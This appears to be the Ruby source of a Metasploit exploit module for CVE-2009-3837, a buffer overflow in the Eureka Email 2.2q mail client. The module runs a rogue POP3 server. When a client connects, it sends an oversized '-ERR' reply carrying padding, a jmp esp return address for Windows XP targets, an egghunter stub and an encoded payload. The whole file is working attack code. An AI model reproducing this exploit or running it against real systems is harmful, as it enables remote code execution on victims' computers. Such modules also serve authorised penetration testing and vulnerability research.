79 lines
2.0 KiB
Ruby
79 lines
2.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::TcpServer
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include Msf::Exploit::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit',
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'Description' => %q{
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This module exploits a buffer overflow in the Eureka Email 2.2q
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client that is triggered through an excessively long ERR message.
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},
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'Author' =>
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[
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'Francis Provencher (Protek Research Labs)',
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'Dr_IDE',
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'dookie'
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-3837' ],
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[ 'OSVDB', '59262 ' ],
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[ 'URL', 'http://www.exploit-db.com/exploits/10235' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => "\x00\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp user32.dll
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[ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp user32.dll
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],
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'Privileged' => false,
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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# Unleash the Egghunter!
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eh_stub, eh_egg = generate_egghunter
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buffer = "-ERR "
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buffer << rand_text_alpha_upper(710)
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buffer << [target.ret].pack('V')
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buffer << make_nops(10)
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buffer << eh_stub
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buffer << make_nops(200)
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buffer << rand_text_alpha_upper(2000)
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buffer << eh_egg * 2
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buffer << payload.encoded
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client.put(buffer)
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end
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end
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